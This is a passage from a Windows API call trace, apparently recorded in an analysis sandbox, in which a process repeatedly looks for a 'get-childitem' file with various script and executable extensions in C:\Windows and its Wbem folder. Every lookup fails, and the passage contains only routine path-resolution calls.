lpFilePart=0x0) returned 0xa [0111.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.697] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.697] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.WSF", lpFilePart=0x0) returned 0x1c [0111.697] GetFullPathNameW (in: lpFileName="get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSF", lpFilePart=0x0) returned 0x2f [0111.697] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.WSF", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.698] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.698] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.698] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.WSH", lpFilePart=0x0) returned 0x1c [0111.698] GetFullPathNameW (in: lpFileName="get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSH", lpFilePart=0x0) returned 0x2f [0111.698] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.WSH", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.698] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.698] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.698] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.698] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.MSC", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.MSC", lpFilePart=0x0) returned 0x1c [0111.698] GetFullPathNameW (in: lpFileName="get-childitem.MSC", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.MSC", lpFilePart=0x0) returned 0x2f [0111.699] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.MSC", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.699] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.699] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.699] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.CPL", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.CPL", lpFilePart=0x0) returned 0x1c [0111.699] GetFullPathNameW (in: lpFileName="get-childitem.CPL", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CPL", lpFilePart=0x0) returned 0x2f [0111.699] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.CPL", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.699] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.700] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.700] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem", lpFilePart=0x0) returned 0x18 [0111.700] GetFullPathNameW (in: lpFileName="get-childitem", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem", lpFilePart=0x0) returned 0x2b [0111.700] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.700] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.ps1", lpFilePart=0x0) returned 0x2a [0111.700] GetFullPathNameW (in: lpFileName="get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.ps1", lpFilePart=0x0) returned 0x2f [0111.700] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.ps1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.702] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.psm1", lpFilePart=0x0) returned 0x2b [0111.702] GetFullPathNameW (in: lpFileName="get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psm1", lpFilePart=0x0) returned 0x30 [0111.702] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.psm1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.703] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.psd1", lpFilePart=0x0) returned 0x2b [0111.703] GetFullPathNameW (in: lpFileName="get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psd1", lpFilePart=0x0) returned 0x30 [0111.703] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.psd1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.705] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.COM", lpFilePart=0x0) returned 0x2a [0111.705] GetFullPathNameW (in: lpFileName="get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.COM", lpFilePart=0x0) returned 0x2f [0111.705] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.COM", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.706] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.EXE", lpFilePart=0x0) returned 0x2a [0111.707] GetFullPathNameW (in: lpFileName="get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.EXE", lpFilePart=0x0) returned 0x2f [0111.707] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.EXE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.BAT", lpFilePart=0x0) returned 0x2a [0111.708] GetFullPathNameW (in: lpFileName="get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.BAT", lpFilePart=0x0) returned 0x2f [0111.708] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.BAT", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.CMD", lpFilePart=0x0) returned 0x2a [0111.710] GetFullPathNameW (in: lpFileName="get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CMD", lpFilePart=0x0) returned 0x2f [0111.710] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.CMD", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.VBS", lpFilePart=0x0) returned 0x2a [0111.711] GetFullPathNameW (in: lpFileName="get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBS", lpFilePart=0x0) returned 0x2f [0111.711] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.VBS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.VBE", lpFilePart=0x0) returned 0x2a [0111.713] GetFullPathNameW (in: lpFileName="get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBE", lpFilePart=0x0) returned 0x2f [0111.713] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.VBE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.JS", lpFilePart=0x0) returned 0x29 [0111.714] GetFullPathNameW (in: lpFileName="get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JS", lpFilePart=0x0) returned 